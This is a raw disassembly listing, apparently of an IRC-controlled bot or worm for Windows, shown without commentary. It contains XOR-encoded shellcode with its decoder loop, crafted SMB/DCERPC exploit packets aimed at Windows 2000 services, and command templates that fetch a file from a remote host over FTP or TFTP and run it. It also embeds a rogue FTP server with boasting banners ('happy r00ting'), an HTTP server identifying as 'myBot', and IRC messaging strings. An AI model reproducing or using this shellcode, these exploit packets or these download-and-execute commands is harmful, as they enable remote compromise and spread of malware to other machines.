sub_43F182+14j pop edi xor esi, esi pusha push esi jmp short loc_43F1BA sub_43F182 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43F1AD proc near ; CODE XREF: sub_43F182:loc_43F1BAp push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_43F1AD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F182 loc_43F1BA: ; CODE XREF: sub_43F182+29j call sub_43F1AD loc_43F1BF: ; DATA XREF: sub_40B346+1Bo add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_43F182 ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- loc_43F1C4: ; DATA XREF: sub_40B3A1+E8o jmp short near ptr dword_43F1CC ; --------------------------------------------------------------------------- db 6 dup(90h) dword_43F1CC dd 0 ; CODE XREF: ___:loc_43F1C4j aCccc db 'CCCC',0 ; DATA XREF: sub_40B3A1+153o align 4 dword_43F1D8 dd 3 ; DATA XREF: sub_40B3A1+246o dword_43F1DC dd 0A1h ; DATA XREF: sub_40B3A1+29Fo dword_43F1E0 dd 30h ; DATA XREF: sub_40B3A1+2CAo dword_43F1E4 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40B3A1+2F5o dword_43F1F0 dd 60h ; DATA XREF: sub_40B3A1+320o aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040BBCFo db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 4 dword_43F258 dd 1000005h, 10h, 418h, 0 ; DATA XREF: ___:0040C738o dd 400h, 90000h, 3 dup(1), 2 dup(3), 2, 7E4h, 0 dd 7E4h, 53004Fh, 3Ah off_43F29C dd offset dword_50005C ; DATA XREF: ___:0040C75Co dd offset word_490052 dd offset dword_40FFB0+0A6h dd offset dword_450054 dd offset dword_5C0024 dd 0 dword_43F2B4 dd 5, 10h, 418h, 0 ; DATA XREF: ___:0040C767o dd 400h, 90000h, 0 dword_43F2D0 dd 2000005h, 10h, 404h, 0 ; DATA XREF: ___:0040C795o dd 3ECh, 90000h, 0 ; --------------------------------------------------------------------------- loc_43F2EC: ; DATA XREF: ___:0040C7A8o jmp short loc_43F2F6 ; --------------------------------------------------------------------------- align 10h dd offset loc_4014E9 db 2 dup(90h) ; --------------------------------------------------------------------------- loc_43F2F6: ; CODE XREF: ___:loc_43F2ECj nop nop nop nop nop nop jmp short loc_43F306 ; --------------------------------------------------------------------------- align 10h dd offset loc_4014E9 db 2 dup(90h) ; --------------------------------------------------------------------------- loc_43F306: ; CODE XREF: ___:0043F2FCj jmp short loc_43F322 ; --------------------------------------------------------------------------- dd 6F684041h, 6F657375h, 62616466h, 41487375h, 909006EBh dd 100124Dh db 2 dup(90h) ; --------------------------------------------------------------------------- loc_43F322: ; CODE XREF: ___:loc_43F306j nop nop nop nop ; --------------------------------------------------------------------------- dw 0 dword_43F328 dd 0E983C929h, 0D9EED9B0h, 5BF42474h ; DATA XREF: ___:0040C7DCo ; --------------------------------------------------------------------------- loc_43F334: ; CODE XREF: ___:0043F33Ej xor dword ptr [ebx+13h], 3704F519h sub ebx, 0FFFFFFFCh loop loc_43F334 ; --------------------------------------------------------------------------- dd 7AEF9FE5h, 0C8FB0CF1h, 5B8F95E6h, 728FD13Dh, 32787E25h dd 0BCEBF461h, 688FED56h, 7EEFF439h, 368FC192h, 0AEC4C4F7h dd 43C471B5h, 3ACE341Eh, 0C3EF3718h, 1F20A122h, 688F106Ch dd 51EFF43Dh, 0BC4FF992h, 0DC05E946h, 0BE8FD91Ah, 5618D175h dd 53DFC4DAh, 0BC34B692h, 478FF959h, 778F5805h, 0B96CAB11h dd 67E8FB57h, 646223E6h, 5379D7Fh, 5778271h, 0E7FBA146h dd 0CBE93E71h, 0E1FBA522h, 51E17C46h, 350C1898h, 0C8069F4Ch dd 3EDD9DC9h, 0C85358ECh, 6457A6CFh, 6447A64Ah, 0E7FBA65Ah db 7Fh, 9Dh word_43F3E2 dw 551Ah ; DATA XREF: ___:0040C7E2w dd 0D68DA67Fh, 2DA09D8Ch, 0C8533269h, 66149FCFh, 5FD40A4Ch dd 0DE2A58BDh, 64D20A4Eh, 5FD40A4Ch, 7E82BCFCh, 67D20A4Eh dd 0C851A14Dh, 0D06C66C9h, 607D3360h, 0C85123E6h, 536E93C9h dd 5A679D7Fh, 676E1090h, 0BEC8DC40h, 0BE409FFEh, 0C4C4C4FBh dd 1A460BB3h, 0A428B7E7h, 9C3C8F94h, 456C5EB2h, 0C81246E7h dd 0E1FBB16Ch, 6656A242h, 366EA448h, 6651A448h, 9A6C25E6h dd 64CAF0C0h, 0C86E23E6h, 0E7FBC2E6h, 0B4F8A292h, 0E1FB91DDh dd 5FD40A4Bh, 57E43BF6h, 0C8D20A4Ah, 3704F5C9h, 0 dword_43F484 dd 5C5Ch ; DATA XREF: sub_40C33C+1Eo dword_43F488 dd 5Ch ; DATA XREF: sub_40C33C+32o dword_43F48C dd 696D6461h, 246Eh ; DATA XREF: sub_40C33C+3Do a8a885d041ceb11 db '8a885d04-1ceb-11c9-9fe8-08002b104860',0 ; DATA XREF: sub_40C52A+Co align 4 aFdb3a030065f11 db 'fdb3a030-065f-11d1-bb9b-00a024ea5525',0 ; DATA XREF: ___:0040C64Eo align 4 aB: ; DATA XREF: sub_40C89D+ADo unicode 0, <> dw 4400h aCkfdenecfdef_0 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacaca_0 db ' CACACACACACACACACACACACACACACAAA',0 align 10h dword_43F530 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0) ; DATA XREF: sub_40C89D+CEo dd 8AC0000h, 0E5000000h, 2003100h, 4D4E414Ch, 2E314E41h dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 0 dword_43F58C dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_40C89D+E8o dd 8AC0000h, 0E5000000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h dd 0 dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0 db 0 db 20h, 2 dup(0) db 0 db 0Ch, 0, 0Ch db 0 db 20h, 2 dup(0) db 0 aWorkstation1wi db 'WORKSTATION1Windows 2000 2195',0 aWindows20005_0 db 'Windows 2000 5.0',0 align 10h dword_43F640 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_40C89D+102o dd 8AC0000h, 0E5000800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h dd 0 dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h dd 58001800h, 0 dd 70000000h, 0 dd 70000000h, 18000000h, 70001800h, 2 dup(0) dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0) db 0 db 2 dup(0), 8Fh ; --------------------------------------------------------------------------- jno short loc_43F73E mov ecx, 484962Fh retf 0EE65h ; --------------------------------------------------------------------------- dw 0DAFBh db 0CEh ; Î db 9Eh, 0AFh, 28h db 8Eh ; Ž db 0EEh, 7Ah, 54h db 69h ; i dd offset loc_572883+2 dd offset byte_52004F dd offset byte_53004B dd offset dword_40FFB0+0A4h dd offset dword_490054 dd offset loc_4E004E+1 db 31h, 0, 57h aIndows20002195 db 'indows 2000 2195',0 aWindows20005_1 db 'Windows 2000 5.0',0 align 4 dword_43F738 dd 3A000000h ; DATA XREF: sub_40C89D+119o db 0FFh, 53h ; --------------------------------------------------------------------------- loc_43F73E: ; CODE XREF: ___:0043F6E4j dec ebp inc edx jnz short $+2 ; --------------------------------------------------------------------------- dw 0 dd 20011800h, 3 dup(0) dd 8AC0000h, 0E5000800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_43F778 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_40C89D+130o dd 8AC0800h, 0E5000800h, 0FF18h, 80000h, 16h, 0 dd 2019Fh, 3 dup(0) dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 0 dword_43F7DC dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_40C89D+14Ao dd 8AC0800h, 0E5000800h, 48000010h, 0E0040000h, 0FFh, 2 dup(0) dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch dd 10030Bh, 480000h, 0 dd 16D00000h, 16D0h, 10000h, 0 dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h dd 0 dword_43F874 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40C89D+164o ; sub_40C89D+1DAo dd 8AC0800h, 0E5000800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh dd 11800h, 3F011800h, 0 dd 5011800h, 10010000h, 18000000h, 1, 0 dd 1, 6B001F00h, 14C658Ch, 0 dd 1000000h, 0 dd 63366800h, 1, 63000000h, 4A000001h, 9F4340FCh, 9043F5F8h dd 489B404Fh, 0F54F4A42h, 98469337h, 6A4F4998h, 0EED95951h dd 0F42474D9h, 1373815Bh, 0AD136156h, 0E2FCEB83h, 0ECA5D7F4h dd 579EA942h, 5E8A3C51h, 0EC9EAF45h, 7FEA3652h, 56EA7289h dd 161DDD91h, 988E57D5h, 4CEA4EE2h, 5A8A578Dh, 12EA6226h dd 8AA16743h, 67A1D201h, 1EAB97AAh, 0E78A94ACh, 3B450296h dd 4CEAB3D8h, 758A5789h, 982A5A26h, 0F8604AF2h, 9AEA7AAEh dd 727D72C1h, 77BA676Eh, 98511526h, 63EA5AEDh, 53EAFBB1h dd 9D0908A5h, 438D58E3h, 40078052h, 21523ECBh, 211221C5h dd 0C39E02F2h, 0EF8C9DC5h, 0C59E0696h, 7584DFF2h, 1169BB2Ch dd 0EC633CF8h, 1AB83E7Dh, 0EC36FB58h, 4032057Bh, 402205FEh dd 0C39E05EEh, 0FCDF3ECBh, 0F2E805CBh, 0C53E38h dword_43F9D0 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40C89D+17Eo ; sub_40C89D+1F4o dd 8AC0800h, 0E5000800h, 0FF0Eh, 18400000h, 0FF000001h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 9001F00h, 0EC3691DDh, 42713C7Bh, 7BB1A9F8h, 0FA4FFB09h dd 40B7A9FAh, 7BB1A9F8h, 5AE71F48h, 43B7A9FAh, 0EC3402F9h dd 0F409C57Dh, 441890D4h, 0EC348052h, 770B307Dh, 7E023ECBh dd 430BB324h, 9AAD7FF4h, 9A253C4Ah, 0E0A1674Fh, 3E23A807h dd 804D1453h, 0B8592C20h, 6109FD06h, 0EC77E553h, 0C59E12D8h dd 423301F6h, 120B07FCh, 423407FCh, 0BE098652h, 40AF5374h dd 0EC0B8052h, 0C39E6152h, 909D0126h, 0C59E3269h, 7BB1A9FFh dd 73819842h, 0ECB7A9FEh aR18zt89rmiyrru db '}R18zT89rMIyrrUxOD5Ldn90tdGUQ4xcbHSBmL1VZjHnU02M96tnEaW4RWvmqwAt8' db 'atPAlENccp4U21A45xy0anPR7ULgqNdyZCRr0ljcyOmnK7',0 dword_43FB2C dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40C89D+198o ; sub_40C89D+20Eo dd 8AC0800h, 0E5000800h, 0FF0Eh, 30400000h, 0FF000002h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 34001F00h, 31323231h, 416E5553h, 536C4D46h, 39646C65h dd 79656A43h, 71423371h, 72736837h, 5A4E4241h, 6F7A7255h dd 32423650h, 35727354h, 69577A65h, 71695269h, 5353656Ch dd 4C687364h, 4B633767h, 665A6836h, 7053536Ah, 6552385Ah dd 45786F58h, 615A547Ah, 716C4F55h, 32397643h, 55347731h dd 6752794Bh, 346B734Eh, 59737474h, 484B4C5Ah, 5A333335h dd 37304144h, 796F4E68h, 536E6337h, 0A644454h, 32000208h dd 46377936h, 4534979h, 6F000208h, 6A695059h, 584A5559h dd 52496165h, 49475966h, 63483643h, 6C7A3476h, 3859636Ah dd 44B4B50h, 49000208h, 6E5A5671h, 46C554Fh, 77000208h dd 634D6F6Bh, 39716F79h, 61716D4Eh, 674A696Ah, 65526C36h dd 49637A79h, 58526F70h, 793833h, 0AE576800h, 1000000h dd 0 dd 1000000h, 0 dd 0AD91A700h, 0 dword_43FC88 dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_40C89D+1AFo ; sub_40C89D+225o dd 8AC0800h, 0E5000800h, 1C000010h, 0E0040000h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A00h, 2600h, 5C002340h, 45504950h, 5005Ch dd 100200h, 1C0000h, 0 dd 40000h, 0 dd 1Fh, 0 unk_43FCF4 db 81h ; ; DATA XREF: sub_40C89D+283o db 2 dup(0), 44h aCkfdenecfdef_1 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacaca_1 db ' CACACACACACACACACACACACACACACAAA',0 align 10h dword_43FD40 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0) ; DATA XREF: sub_40C89D+2A4o dd 2D80000h, 97230000h, 2003100h, 4D4E414Ch, 2E314E41h dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 0 dword_43FD9C dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_40C89D+2BEo dd 2D80000h, 97230000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h dd 0 dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0 db 0 db 20h, 2 dup(0) db 0 db 0Ch, 0, 0Ch db 0 db 20h, 2 dup(0) db 0 aWorkstation1_0 db 'WORKSTATION1Windows 2000 2195',0 aWindows20005_2 db 'Windows 2000 5.0',0 align 10h dword_43FE50 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_40C89D+2D8o dd 2D80000h, 97230800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h dd 0 dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h dd 58001800h, 0 dd 70000000h, 0 dd 70000000h, 18000000h, 70001800h, 2 dup(0) dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0) db 0 db 2 dup(0), 0A3h db 9Eh ; ž db 5Eh, 9Bh, 4 db 57h ; W db 0E3h, 15h, 0B7h db 6Fh ; o db 44h, 0E9h, 1Eh db 49h ; I db 0FEh, 0C0h, 0BEh db 0E9h ; é db 0A6h, 0A7h, 7Fh aPmiw db 'pmiW',0 dd offset byte_52004F dd offset byte_53004B dd offset dword_40FFB0+0A4h dd offset dword_490054 dd offset loc_4E004E+1 db 31h, 0, 57h aIndows200021_0 db 'indows 2000 2195',0 aWindows20005_3 db 'Windows 2000 5.0',0 align 4 dword_43FF48 dd 62000000h, 424D53FFh, 73h, 20011800h, 3 dup(0) ; DATA XREF: sub_40C89D+2EFo dd 2D80000h, 97230000h, 0FF0Dh, 2FFDF00h, 100h, 2 dup(0) db 0 db 2 dup(0), 40h db 0 db 2 dup(0), 25h db 0 db 2 dup(0), 57h aIndows200021_1 db 'indows 2000 2195',0 aWindows20005_4 db 'Windows 2000 5.0',0 align 10h dword_43FFB0 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: sub_40C89D+306o dd 2D80000h, 97230801h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_43FFF0 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_40C89D+31Do dd 2D80800h, 97230801h, 0FF18h, 80000h, 16h, 0 dd 2019Fh, 3 dup(0) dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 0 dword_440054 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_40C89D+337o dd 2D80800h, 97230801h, 48000010h, 0E0040000h, 0FFh, 2 dup(0) dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch dd 10030Bh, 480000h, 0 dd 16D00000h, 16D0h, 10000h, 0 dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h dd 0 dword_4400EC dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40C89D+351o ; sub_40C89D+3E0o dd 2D80800h, 97230801h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh dd 11800h, 3F011800h, 0 dd 5011800h, 10010000h, 18000000h, 1, 0 dd 1, 0F2001F00h, 1F2207Ch, 0 dd 1000000h, 0 dd 15514F00h, 2, 15000000h, 49000002h, 2742983Fh, 439BD697h dd 0FC37984Ah, 99F54B43h, 47994642h, 0FC379948h, 4AF59B42h dd 37374F90h, 37F5434Ah, 96963740h, 9B499B96h, 999B9F96h dd 37984848h, 49934347h, 4B4AFC4Eh, 48482790h, 99474A92h dd 90963727h, 40482791h, 0F8414627h, 0FC91984Fh, 3F4E47F8h dd 0D69097F9h, 974E4A27h, 46463F42h, 4F9896FDh, 274F9848h dd 4A4149D6h, 37914F46h, 9BFC4890h, 9B9B9096h, 433F9741h dd 4A3F46D6h, 9F4EF543h, 4F984327h, 4F904F41h, 4BFDF5F9h dd 9740F541h, 40414647h, 4343989Fh, 0FD4A4E4Fh, 4696FC4Fh dd 97474243h, 92374BFCh, 373F9F96h, 4F9841D6h, 9F4AF94Ah dd 9F99FC41h, 37372798h, 4899474Eh, 4E274B42h, 4A409237h dd 9827433Fh, 494E3F91h, 4B48484Fh, 37989Bh dword_440248 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40C89D+36Bo ; sub_40C89D+3FAo dd 2D80800h, 97230801h, 0FF0Eh, 18400000h, 0FF000001h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 4B001F00h, 483F9F47h, 499F4941h, 4342273Fh, 9746999Bh dd 91279697h, 3F4E9FFDh, 37933743h, 909F4F47h, 9B374BF8h dd 2790994Fh, 40994E47h, 9BFC9292h, 4E9097FDh, 0F5F99047h dd 0FD404A9Fh, 489327D6h, 99934340h, 93FC274Ah, 49484B97h dd 4F4A4A99h, 43984B91h, 4E434B91h, 4242929Fh, 3F464399h dd 48404141h, 2740463Fh, 3F37484Ah, 27429291h, 404EF541h dd 27499B4Fh, 4F9F3F9Fh, 41FCF998h, 9041F840h, 374EF893h dd 92379143h, 4698D64Fh, 939F9843h, 9F96924Eh, 37F9974Ah dd 48939296h, 4E4E9F41h, 0F9D6474Ah, 40479B3Fh, 984137F8h dd 9BF9FD48h, 9BD69F96h, 989343FDh, 48FD4040h, 4F914F47h dd 99414A40h, 374E4B4Bh, 43929348h, 4B424137h, 4942FC41h dd 279792FCh, 484242FCh, 939B9B46h, 419B2791h, 4892484Ah dd 0D64E414Bh, 9BF542FCh, 4F439949h, 4392FC97h, 4191D6h dword_4403A4 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40C89D+385o ; sub_40C89D+414o dd 2D80800h, 97230801h, 0FF0Eh, 30400000h, 0FF000002h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 0FD001F00h, 424ED627h, 9897414Ah, 4B424240h, 0F5F9FD3Fh dd 3793403Fh, 49434091h, 404F9093h, 96474A99h, 373F92F9h dd 0F5D6F997h, 439F4643h, 0F5374BD6h, 4E914AD6h, 4990FD9Bh dd 47FC9649h, 964E4FFDh, 4F469990h, 4B43F546h, 989F97F9h dd 9F9992FCh, 9B424BD6h, 96404040h, 4190909Bh, 98969297h dd 494F4A96h, 4E434F37h, 0F993424Ah, 92939837h, 49434A3Fh dd 27414E92h, 40979BF8h, 47439290h, 9040964Eh, 42404F98h dd 0F5419040h, 96424747h, 0FD4A9F49h, 99D6F537h, 4E474F3Fh dd 9F90D627h, 43D69342h, 41969243h, 4BF9964Bh, 59516AF9h dd 74D9EED9h, 815BF424h, 0F3091373h, 0EB838E1Eh, 88F4E2FCh dd 0F661E137h, 63725A0Ch, 0F0665318h, 6971E10Ch, 2DAA7278h dd 82B25B78h, 8F61B8Fh, 11C1951Ch, 8AE4178h, 3D055718h dd 38601F78h, 8D228733h, 0C8896A33h, 0CB8F1339h, 0B5EA18h dword_440500 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40C89D+39Fo ; sub_40C89D+42Eo dd 2D80800h, 97230801h, 0FF0Eh, 48400000h, 0FF000003h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 5D001F00h, 0ECFB36D7h, 8AA4178h, 5057818h, 15D195B8h dd 258DF5F2h, 2DE29778h, 384D7FEFh, 4A057A28h, 5CE95C3h dd 0A4926E78h, 57865E78h, 7C0909Bh, 0DF714E1Fh, 61E84D95h dd 7EE62CC0h, 5DD12C80h, 0C2E6CE0Ch, 59B5E21Eh, 80D1C80Ch dd 0E40F7816h, 63DB1CFBh, 615EE1F1h, 0A47B172Ah, 5A58E1A4h dd 5ADD4DA0h, 5ACD4DB0h, 61E8CE0Ch, 5AE8F14Dh, 611BFF7Ah dd 0CEFE0457h, 6358E1A4h, 0F6DB4FE3h, 0A42A7623h, 0F6D9F7DDh dd 0F6DB4D25h, 406B7623h, 0F6D95775h, 5DDA4E25h, 9A5EE1A6h dd 0CFF7F99Bh, 0DF71498Ah, 6F5EE1A6h, 61E87A99h, 0EC077390h dd 20D74E99h, 6369973Fh, 386C97B7h, 0F724ED33h, 4B7033B1h dd 73038DDFh, 0A225B5CBh, 0BA706C9Bh, 4DFBE1E5h, 5ED5C80Ch dd 58DF4FA1h, 58DF1F99h, 0D9714FA6h, 0C57B39Bh, 0DF714D3Dh dd 3E71E199h, 5E05CE0Ch, 6D4A9D0Fh, 0F6DCC80Ch, 617623h dword_44065C dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_40C89D+3B9o ; sub_40C89D+448o dd 2D80800h, 97230801h, 80000010h, 0E0040000h, 0FFh, 2 dup(0) dd 80004A00h, 2004A00h, 2600h, 5C008740h, 45504950h, 5005Ch dd 100200h, 800000h, 0 dd 680000h, 0 dd 13C7001Fh, 25F6DD7Eh, 8045EE1h, 0Fh dup(8040002h), 2 dd 0BE895Bh, 20000h, 0 dd 20000h, 2EB0000h, 760000h, 2 dup(0) aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD34+95o aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: sub_40CD34+BEo db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 align 4 aS_19 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40CD34+102o align 4 a_a_a_a_S_e_x_p db '.a.a.a. (%s.e.x.p) .»». trying to root %s',0 ; DATA XREF: sub_40CE96+5Do align 10h aCmd_exe db 'cmd.exe',0 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 10h aSS_8 db '%s %s',0 align 4 aUser_3 db 'USER',0 align 10h a331PasswordReq db '331 Password required',0Ah,0 align 4 aPass_0 db 'PASS',0 align 10h a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aSyst db 'SYST',0 align 10h a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 10h aRest db 'REST',0 align 4 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 dd offset dword_445750 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 10h aType db 'TYPE',0 align 4 aA_0: unicode 0, <A>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aType_0 db 'TYPE',0 align 4 aI_0: unicode 0, <I>,0 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aPasv db 'PASV',0 align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aList_0 db 'LIST',0 align 4 a226TransferCom db '226 Transfer complete',0Ah,0 align 4 aPort db 'PORT',0 align 4 aS_33 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aXX db '%x%x',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aRetr db 'RETR',0 align 10h a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 align 4 aFtpdStartingTr db '-ftpd- starting transfer to %s',0 align 4 a226TransferC_0 db '226 Transfer complete.',0Ah,0 aFtpdSentFileTo db '-ftpd- sent file to %s',0 align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 align 10h aQuit_1 db 'QUIT',0 align 4 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 aRb db 'rb',0 ; DATA XREF: ___:0040D881o align 4 aGet db 'GET ',0 ; DATA XREF: sub_40D8F7+26Fo align 10h asc_440A70: ; DATA XREF: sub_40D8F7+292o unicode 0, < >,0 asc_440A74: ; DATA XREF: sub_40D8F7+297o unicode 0, < >,0 aGet_0 db 'GET ',0 ; DATA XREF: sub_40D8F7+2A2o align 10h asc_440A80 db 0Dh,0Ah,0 ; DATA XREF: sub_40D8F7+2D5o align 4 unk_440A84 db 2Dh ; - ; DATA XREF: sub_40D8F7+3FEo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 aTextHtml db 'text/html',0 ; DATA XREF: sub_40DD58+5Eo align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40DD58:loc_40DDBDo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40DD58+83o align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40DD58+97o align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40DD58+D3o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40DD58+F6o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aS_20 db '\%s',0 ; DATA XREF: sub_40DEDA+2Fo aS_21 db '%s',0 ; DATA XREF: sub_40DEDA+3Ao align 4 aSS_1 db '%s%s',0 ; DATA XREF: sub_40DEDA+EAo align 10h asc_440CD0: ; DATA XREF: sub_40DEDA+FBo dw 0Ah unicode 0, <>,0 asc_440CD4: ; DATA XREF: sub_40DEDA+157o unicode 0, <*>,0 unk_440CD8 db 2Dh ; - ; DATA XREF: sub_40DEDA+20Bo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 unk_440D0C db 2Dh ; - ; DATA XREF: sub_40DEDA+28Fo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_21 db ' failed to start worker thread, error %d',0 align 4 asc_440D44: ; DATA XREF: sub_40E18A+29o dw 0Ah unicode 0, <>,0 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40E18A+4Bo aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40E18A+78o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40E18A+ADo db '<TABLE 